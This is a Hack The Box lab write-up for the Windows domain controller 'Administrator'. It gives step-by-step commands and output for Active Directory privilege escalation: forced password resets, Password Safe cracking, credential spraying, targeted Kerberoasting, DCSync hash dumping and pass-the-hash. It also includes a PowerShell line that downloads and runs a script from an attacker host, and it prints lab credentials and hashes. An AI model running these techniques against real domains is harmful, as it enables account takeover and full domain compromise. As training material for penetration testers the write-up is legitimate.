> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/administrator-htb-writeup-or-by-alham-rizvi.md).

# Administrator - HTB Writeup | By Alham Rizvi

<figure><img src="/files/xVrQKJN2osgnaorTmCRv" alt=""><figcaption></figcaption></figure>

> **Hack The Box Machine**\
> **Name:** Administrator\
> **Difficulty:** Medium\
> **OS:** Windows Server 2022 (Domain Controller)\
> **Domain:** `administrator.htb`\
> **Starting Credentials:** `olivia:ichliebedich`\
> **Date:** 2026-07-17

***

### Box Info

| Field      | Detail                                                             |
| ---------- | ------------------------------------------------------------------ |
| Name       | [Administrator](https://app.hackthebox.com/machines/Administrator) |
| OS         | Windows Server 2022 (Build 20348)                                  |
| Difficulty | Medium                                                             |
| Domain     | `administrator.htb`                                                |
| Hostname   | `dc.administrator.htb`                                             |

***

### Overview

Administrator is a Medium Windows Domain Controller machine that chains together **five distinct Active Directory privilege escalation primitives**:

1. **GenericAll → Password Reset** – `olivia` has `GenericAll` over `michael`, allowing a password reset.
2. **ForceChangePassword → FTP Access** – `michael` can force-change `benjamin`'s password, granting FTP access.
3. **Password Safe Database Cracking** – FTP contains a `Backup.psafe3` file; cracking it reveals credentials.
4. **GenericWrite → Targeted Kerberoasting** – `emily` has `GenericWrite` over `ethan`, enabling SPN abuse.
5. **DCSync Attack** – `ethan` has DCSync rights, allowing retrieval of the Administrator's NTLM hash.

Each stage's output becomes the next stage's credential, making this an excellent exercise in AD privilege escalation chains.

***

### 1. Reconnaissance

#### 1.1 Port Scanning

A full port scan reveals a typical Domain Controller footprint with an additional FTP service:

```bash
$ nmap -p- -sS -sV -n -Pn 10.129.41.17
```

**Key open ports:**

| Port     | Service  | Notes                     |
| -------- | -------- | ------------------------- |
| 21/tcp   | FTP      | Microsoft FTP Service     |
| 88/tcp   | Kerberos | Domain authentication     |
| 135/tcp  | MSRPC    | Microsoft Windows RPC     |
| 389/tcp  | LDAP     | Active Directory LDAP     |
| 445/tcp  | SMB      | File sharing              |
| 5985/tcp | WinRM    | Windows Remote Management |
| 636/tcp  | LDAPS    | LDAP over SSL             |

Add the domain to `/etc/hosts`:

```bash
$ echo "10.129.41.17 administrator.htb dc.administrator.htb" | sudo tee -a /etc/hosts
```

***

### 2. Active Directory Concepts – Beginner's Guide

#### 2.1 What is Active Directory (AD)?

Active Directory is Microsoft's directory service for Windows domain networks. It stores information about objects (users, computers, groups, etc.) and provides authentication and authorization services.

#### 2.2 Key AD Permissions Used in This Machine

| Permission              | What it allows                                                             |
| ----------------------- | -------------------------------------------------------------------------- |
| **GenericAll**          | Complete control over an object – can reset passwords, modify groups, etc. |
| **ForceChangePassword** | Reset another user's password without knowing the current one.             |
| **GenericWrite**        | Modify any attribute of an object – can add SPNs for Kerberoasting.        |
| **DCSync**              | Request password hashes from the domain controller as if you were one.     |

#### 2.3 Kerberoasting

**Kerberoasting** is an attack where an attacker requests a TGS ticket for an account with an SPN. The ticket is encrypted with the account's password hash, which can be cracked offline.

**Targeted Kerberoasting** is when an attacker has `GenericWrite` on a user account – they can add a fake SPN, making the account "roastable."

#### 2.4 DCSync Attack

**DCSync** is a technique where an attacker impersonates a Domain Controller and requests replication of password hashes from the Active Directory database (NTDS.dit). Anyone with the `Replicating Directory Changes` permission (typically Domain Admins) can perform this attack.

***

### 3. Stage 1 – GenericAll → Password Reset (michael)

#### 3.1 BloodHound Enumeration

With the starting credentials `olivia:ichliebedich`, we run BloodHound to map the domain:

```bash
$ bloodhound-python -d administrator.htb -c All -u olivia -p 'ichliebedich' -ns 10.129.41.17
```

**BloodHound Finding:**

```
olivia ──[GenericAll]──▶ michael
```

`GenericAll` means olivia has complete control over michael's account – including the ability to reset his password.

#### 3.2 Password Reset

Using `evil-winrm` as olivia, we reset michael's password:

```bash
$ evil-winrm -i 10.129.41.17 -u olivia -p 'ichliebedich'
*Evil-WinRM* PS C:\Users\olivia\Documents> net user michael Password123! /domain
The command completed successfully.
```

**Result:** `michael:Password123!`

***

### 4. Stage 2 – ForceChangePassword → FTP Access (benjamin)

#### 4.1 BloodHound Finding

With michael's credentials loaded in BloodHound:

```
michael ──[ForceChangePassword]──▶ benjamin
```

#### 4.2 Resetting benjamin's Password

Using `evil-winrm` as michael, we load PowerView and reset benjamin's password:

```bash
$ evil-winrm -i 10.129.41.17 -u michael -p 'Password123!'
*Evil-WinRM* PS C:\Users\michael\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.x:8000/PowerView.ps1')
*Evil-WinRM* PS C:\Users\michael\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\michael\Documents> Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword
```

**Result:** `benjamin:Password123!`

#### 4.3 FTP Access

The Nmap scan revealed FTP on port 21. Since benjamin is a member of the **Share Moderators** group, he has FTP access:

```bash
$ ftp benjamin@10.129.41.17
Password: Password123!
ftp> dir
backup.psafe3
ftp> get backup.psafe3
```

***

### 5. Stage 3 – Password Safe Database Cracking

#### 5.1 What is Password Safe?

**Password Safe** is a password manager that stores credentials in encrypted `.psafe3` files. The file is encrypted with a master password.

#### 5.2 Cracking the .psafe3 File

We use Hashcat (mode 5200 for Password Safe v3):

```bash
$ hashcat -a 0 -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
```

**Output:**

```
Backup.psafe3:tekiermoucho
```

**Result:** Master password is **`tekiermoucho`**.

#### 5.3 Extracting Credentials

Using Password Safe (or a CLI tool like `psafe3`), we open the database and extract credentials:

| User      | Password                            |
| --------- | ----------------------------------- |
| alexander | `UrkIbagoxMyUGw0aPlj9B0AXSea4Sw`    |
| **emily** | **`UXLCI5iETUsIBoFVTj8yQFKoHjXmb`** |
| emma      | `WwANQWnmJnGV07WQN8bMS7FMAbjNur`    |

#### 5.4 Credential Spraying

We use `netexec` to test which credentials are valid:

```bash
$ netexec smb 10.129.41.17 -u users.txt -p passwords.txt
SMB         10.129.41.17   445    DC    [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
```

**Result:** Only **emily**'s credentials are valid.

#### 5.5 User Flag

```bash
$ evil-winrm -i 10.129.41.17 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
*Evil-WinRM* PS C:\Users\emily\Desktop> type user.txt
[REDACTED]
```

***

### 6. Stage 4 – GenericWrite → Targeted Kerberoasting (ethan)

#### 6.1 BloodHound Finding

```
emily ──[GenericWrite]──▶ ethan
```

#### 6.2 Fixing Clock Skew

Kerberos requires the system clock to be within 5 minutes of the Domain Controller:

```bash
$ sudo ntpdate 10.129.41.17
```

#### 6.3 Targeted Kerberoasting

We use `targetedkerberoast.py` to add an SPN to ethan and request a TGS ticket:

```bash
$ python3 targetedkerberoast.py --dc-ip 10.129.41.17 -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -u ethan.txt
[*] Starting kerberoast attacks
[*] Fetching usernames from file
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$...
```

#### 6.4 Cracking the Hash

Hashcat mode 13100 (Kerberos 5, etype 23, TGS-REP):

```bash
$ hashcat -a 0 -m 13100 ethan_hash.txt /usr/share/wordlists/rockyou.txt
```

**Output:**

```
...:limpbizkit
```

**Result:** `ethan:limpbizkit`

***

### 7. Stage 5 – DCSync → Administrator

#### 7.1 BloodHound Finding

```
ethan ──[DCSync]──▶ Domain
```

#### 7.2 DCSync Attack

Using `secretsdump.py` from Impacket:

```bash
$ secretsdump.py administrator.htb/ethan:limpbizkit@10.129.41.17
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
```

#### 7.3 Administrator Hash

```
Administrator NTLM: 3dc553ce4b9fd20bd016e098d2d2fd2e
```

#### 7.4 Pass-the-Hash as Administrator

```bash
$ evil-winrm -i 10.129.41.17 -u Administrator -H '3dc553ce4b9fd20bd016e098d2d2fd2e'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
```

***

### 8. Attack Chain Summary

```mermaid
flowchart TD
    A[olivia: ichliebedich] --> B[BloodHound: GenericAll on michael]
    B --> C[net user michael Password123! /domain]
    C --> D[michael: Password123!]
    D --> E[BloodHound: ForceChangePassword on benjamin]
    E --> F[Set-DomainUserPassword -Identity benjamin]
    F --> G[benjamin: Password123!]
    G --> H[FTP access → backup.psafe3]
    H --> I[Crack with hashcat → tekiermoucho]
    I --> J[Extract credentials → emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb]
    J --> K[User flag obtained]
    J --> L[BloodHound: GenericWrite on ethan]
    L --> M[Targeted Kerberoasting → ethan hash]
    M --> N[Crack → ethan:limpbizkit]
    N --> O[DCSync → Administrator hash]
    O --> P[Pass-the-Hash → root.txt]
```

***

### 9. BloodHound-Style Attack Chain Diagram

```
┌─────────────────────────────────────────────────────────────────────────────────────┐
│                         ADMINISTRATOR.HTB - ATTACK CHAIN                           │
│                    Domain: administrator.htb / DC: dc.administrator.htb            │
└─────────────────────────────────────────────────────────────────────────────────────┘

═══════════════════════════════════════════════════════════════════════════════════════
STARTING CREDENTIALS: olivia : ichliebedich
═══════════════════════════════════════════════════════════════════════════════════════

┌─────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: GenericAll → Password Reset                                               │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│  ┌─────────┐    ┌──────────────────┐    ┌──────────────────────────────────────┐   │
│  │ olivia  │    │   GenericAll     │    │      michael (User Account)          │   │
│  │         │───▶│  Permission on   │───▶│  Password reset to: Password123!    │   │
│  │ ichlie- │    │  michael         │    │                                      │   │
│  │ bedich  │    │                  │    │                                      │   │
│  └─────────┘    └──────────────────┘    └──────────────────────────────────────┘   │
│                                                                                     │
│  [✓] net user michael Password123! /domain                                         │
│                                                                                     │
│  RESULT: michael : Password123!                                                     │
└─────────────────────────────────────────────────────────────────────────────────────┘

═══════════════════════════════════════════════════════════════════════════════════════

┌─────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: ForceChangePassword → FTP Access                                         │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│  ┌─────────┐    ┌─────────────────────┐    ┌────────────────────────────────────┐ │
│  │ michael │    │  ForceChangePassword │    │     benjamin (User Account)        │ │
│  │         │───▶│  on benjamin         │───▶│  Password reset to: Password123!  │ │
│  │ Pass-   │    │  (PowerView)         │    │                                    │ │
│  │ word123!│    │                      │    │                                    │ │
│  └─────────┘    └─────────────────────┘    └────────────────────────────────────┘ │
│                                                                                     │
│  [✓] Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword      │
│                                                                                     │
│  RESULT: benjamin : Password123!                                                    │
│  → FTP access (benjamin is in Share Moderators group)                             │
│  → backup.psafe3 downloaded                                                        │
└─────────────────────────────────────────────────────────────────────────────────────┘

═══════════════════════════════════════════════════════════════════════════════════════

┌─────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: Password Safe Database Cracking                                          │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│  ┌─────────────────┐    ┌─────────────────────┐    ┌────────────────────────────┐ │
│  │  backup.psafe3  │    │  hashcat -m 5200    │    │  CREDENTIALS EXTRACTED     │ │
│  │  (Password Safe │───▶│  rockyou.txt        │───▶│  ┌──────────────────────┐ │ │
│  │   Database)     │    │                     │    │  │ emily: UXLCI5iETUs... │ │ │
│  └─────────────────┘    │  tekiermoucho       │    │  │ alexander: UrkIbag... │ │ │
│                         └─────────────────────┘    │  │ emma: WwANQWnm...     │ │ │
│                                                    │  └──────────────────────┘ │ │
│                                                    └────────────────────────────┘ │
│                                                                                     │
│  [✓] Credential spray with netexec → emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb          │
│                                                                                     │
│  RESULT: emily : UXLCI5iETUsIBoFVTj8yQFKoHjXmb                                     │
│  → WinRM access → user.txt                                                         │
│                                                                                     │
│  ╔═══════════════════════════════════════════════════════════════════════════════╗  │
│  ║  USER FLAG OBTAINED                                                          ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════════╝  │
└─────────────────────────────────────────────────────────────────────────────────────┘

═══════════════════════════════════════════════════════════════════════════════════════

┌─────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 4: GenericWrite → Targeted Kerberoasting                                    │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│  ┌─────────┐    ┌──────────────────┐    ┌──────────────────────────────────────┐   │
│  │  emily  │    │   GenericWrite   │    │      ethan (User Account)            │   │
│  │         │───▶│  on ethan        │───▶│  SPN added: http/pwned              │   │
│  │  UXLC... │    │  (targeted-      │    │  TGS ticket requested               │   │
│  │         │    │   kerberoast)    │    │  Hash: $krb5tgs$23$*ethan$...       │   │
│  └─────────┘    └──────────────────┘    └──────────────────────────────────────┘   │
│                                                                                     │
│  [✓] sudo ntpdate 10.129.41.17 (fix clock skew)                                   │
│  [✓] python3 targetedkerberoast.py ...                                             │
│  [✓] hashcat -m 13100 ethan_hash rockyou.txt → limpbizkit                         │
│                                                                                     │
│  RESULT: ethan : limpbizkit                                                         │
└─────────────────────────────────────────────────────────────────────────────────────┘

═══════════════════════════════════════════════════════════════════════════════════════

┌─────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 5: DCSync → Administrator                                                   │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│  ┌─────────┐    ┌──────────────────┐    ┌──────────────────────────────────────┐   │
│  │  ethan  │    │   DCSync         │    │     Domain Controller                │   │
│  │         │───▶│  Privilege       │───▶│  NTDS.dit dumped                    │   │
│  │ limpbiz-│    │  (secretsdump)   │    │  ┌─────────────────────────────────┐ │   │
│  │ kit     │    │                  │    │  │ Administrator NTLM hash:        │ │   │
│  └─────────┘    └──────────────────┘    │  │ 3dc553ce4b9fd20bd016e098d2d2fd2e│ │   │
│                                          └─────────────────────────────────────┘ │   │
│                                                                                     │
│  [✓] secretsdump.py administrator.htb/ethan:limpbizkit@10.129.41.17               │
│                                                                                     │
│  RESULT: Administrator NTLM: 3dc553ce4b9fd20bd016e098d2d2fd2e                     │
│  → Pass-the-Hash → root.txt                                                        │
│                                                                                     │
│  ╔═══════════════════════════════════════════════════════════════════════════════╗  │
│  ║  ROOT FLAG OBTAINED                                                          ║  │
│  ╚═══════════════════════════════════════════════════════════════════════════════╝  │
└─────────────────────────────────────────────────────────────────────────────────────┘
```

***

### 10. Permission Matrix (BloodHound View)

```
╔════════════════════════════════════════════════════════════════════════════════════╗
║                         PERMISSION GRAPH (BLOODHOUND VIEW)                        ║
╚════════════════════════════════════════════════════════════════════════════════════╝

┌───────────────┬────────────────────────────┬─────────────────────────────────────┐
│   SOURCE      │       PERMISSION            │        TARGET                      │
├───────────────┼────────────────────────────┼─────────────────────────────────────┤
│               │                            │                                     │
│ olivia        │ GenericAll                 │ michael                             │
│               │ (Complete control)          │                                     │
│               │                            │                                     │
│ michael       │ ForceChangePassword        │ benjamin                            │
│               │ (Reset password)           │                                     │
│               │                            │                                     │
│ benjamin      │ FTP Access                 │ backup.psafe3                       │
│               │ (via Share Moderators)     │                                     │
│               │                            │                                     │
│ emily         │ GenericWrite               │ ethan                               │
│               │ (Add SPN for roasting)     │                                     │
│               │                            │                                     │
│ ethan         │ DCSync                     │ Domain (NTDS.dit)                  │
│               │ (Replicate directory)      │                                     │
│               │                            │                                     │
│ Administrator │ FullControl (Domain)       │ Domain (root.txt)                  │
│               │ (Complete domain access)   │                                     │
│               │                            │                                     │
└───────────────┴────────────────────────────┴─────────────────────────────────────┘
```

***

### 11. Tool Commands Reference

```bash
# ──────────────────────────────────────────────────────────────
# Stage 1: GenericAll → Password Reset
# ──────────────────────────────────────────────────────────────

# BloodHound collection
bloodhound-python -d administrator.htb -c All -u olivia -p 'ichliebedich' -ns 10.129.41.17

# Reset michael's password
evil-winrm -i 10.129.41.17 -u olivia -p 'ichliebedich'
*Evil-WinRM* PS> net user michael Password123! /domain

# ──────────────────────────────────────────────────────────────
# Stage 2: ForceChangePassword → FTP Access
# ──────────────────────────────────────────────────────────────

evil-winrm -i 10.129.41.17 -u michael -p 'Password123!'
*Evil-WinRM* PS> IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.x:8000/PowerView.ps1')
*Evil-WinRM* PS> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS> Set-DomainUserPassword -Identity benjamin -AccountPassword $UserPassword

# FTP access
ftp benjamin@10.129.41.17
ftp> get backup.psafe3

# ──────────────────────────────────────────────────────────────
# Stage 3: Password Safe Cracking
# ──────────────────────────────────────────────────────────────

hashcat -a 0 -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
# → tekiermoucho

# Credential spray
netexec smb 10.129.41.17 -u users.txt -p passwords.txt
# → [+] emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

evil-winrm -i 10.129.41.17 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

# ──────────────────────────────────────────────────────────────
# Stage 4: GenericWrite → Targeted Kerberoasting
# ──────────────────────────────────────────────────────────────

# Fix clock skew
sudo ntpdate 10.129.41.17

# Targeted Kerberoasting
python3 targetedkerberoast.py --dc-ip 10.129.41.17 -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -u ethan.txt

# Crack hash
hashcat -a 0 -m 13100 ethan_hash.txt /usr/share/wordlists/rockyou.txt
# → limpbizkit

# ──────────────────────────────────────────────────────────────
# Stage 5: DCSync → Administrator
# ──────────────────────────────────────────────────────────────

# DCSync attack
secretsdump.py administrator.htb/ethan:limpbizkit@10.129.41.17
# → Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e

# Pass-the-Hash
evil-winrm -i 10.129.41.17 -u Administrator -H '3dc553ce4b9fd20bd016e098d2d2fd2e'
```

***

### 12. Summary of Credentials

| Stage    | User          | Password / Hash                           | Method                 |
| -------- | ------------- | ----------------------------------------- | ---------------------- |
| Starting | olivia        | `ichliebedich`                            | Provided               |
| Stage 1  | michael       | `Password123!`                            | GenericAll reset       |
| Stage 2  | benjamin      | `Password123!`                            | ForceChangePassword    |
| Stage 3  | emily         | `UXLCI5iETUsIBoFVTj8yQFKoHjXmb`           | Password Safe crack    |
| Stage 4  | ethan         | `limpbizkit`                              | Targeted Kerberoasting |
| Stage 5  | Administrator | `3dc553ce4b9fd20bd016e098d2d2fd2e` (NTLM) | DCSync                 |

***

### 13. Lessons Learned

1. **GenericAll is game over.** Anyone with GenericAll over a user can reset their password. This is one of the most dangerous permissions in AD.
2. **FTP + Password Safe databases are valuable.** The `Share Moderators` group gave FTP access, which contained a credential database. Always audit what files are stored in accessible shares.
3. **Password Safe uses weak master passwords.** `tekiermoucho` was in `rockyou.txt`. Use strong, unique master passwords for password managers.
4. **GenericWrite enables Kerberoasting.** Adding an SPN to any user makes them roastable. This is a common privilege escalation path.
5. **DCSync is the ultimate AD privilege.** Anyone with DCSync rights can dump all domain hashes. This should be strictly limited to Domain Admins.
6. **Always fix clock skew.** Kerberos is sensitive to time differences. `ntpdate` is essential before any Kerberos operation.
7. **Credential spraying is effective.** After extracting credentials from the Password Safe database, only emily's credentials were valid. Spraying is always worth trying.

***

*Machine pwned – Happy Hacking!*


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